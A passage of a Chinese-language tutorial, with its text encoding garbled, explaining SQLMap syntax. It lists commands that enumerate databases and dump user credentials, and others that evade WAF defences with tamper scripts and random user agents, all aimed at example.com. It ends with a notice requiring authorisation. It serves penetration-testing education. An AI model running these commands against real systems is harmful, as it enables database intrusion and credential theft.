法與使用指南(二))
SQLMap是一款自動(dòng)化SQL注入檢測(cè)與利用工具以下是其核心語(yǔ)法、常用參數(shù)及典型場(chǎng)景說(shuō)明兼顧實(shí)用性與安全性規(guī)范一、基礎(chǔ)語(yǔ)法結(jié)構(gòu)sqlmap [選項(xiàng)] 目標(biāo)目標(biāo)可以是URL、文件、請(qǐng)求包等多種形式是SQLMap的核心輸入源。二、核心參數(shù)分類(lèi)詳解1. 數(shù)據(jù)提取參數(shù)參數(shù)說(shuō)明示例--dbs枚舉所有數(shù)據(jù)庫(kù)sqlmap.py -u http://example.com?id1 --dbs--tables枚舉指定數(shù)據(jù)庫(kù)的表sqlmap.py -u http://example.com?id1 -D testdb --tables--columns枚舉指定表的列sqlmap.py -u http://example.com?id1 -D testdb -T users --columns--dump導(dǎo)出指定表/列數(shù)據(jù)sqlmap.py -u http://example.com?id1 -D testdb -T users -C username,password --dump--dump-all導(dǎo)出所有數(shù)據(jù)庫(kù)數(shù)據(jù)sqlmap.py -u http://example.com?id1 --dump-all2. 繞過(guò)防御參數(shù)參數(shù)說(shuō)明示例--random-agent使用隨機(jī)User-Agentsqlmap.py -u http://example.com?id1 --random-agent--proxy使用代理服務(wù)器sqlmap.py -u http://example.com?id1 --proxy http://127.0.0.1:8080--tamper使用篡改腳本繞過(guò)WAFsqlmap.py -u http://example.com?id1 --tamper space2comment.py--delay設(shè)置請(qǐng)求延遲秒sqlmap.py -u http://example.com?id1 --delay 2注僅對(duì)擁有合法授權(quán)的目標(biāo)使用SQLMap未經(jīng)授權(quán)的測(cè)試可能違反法律法規(guī)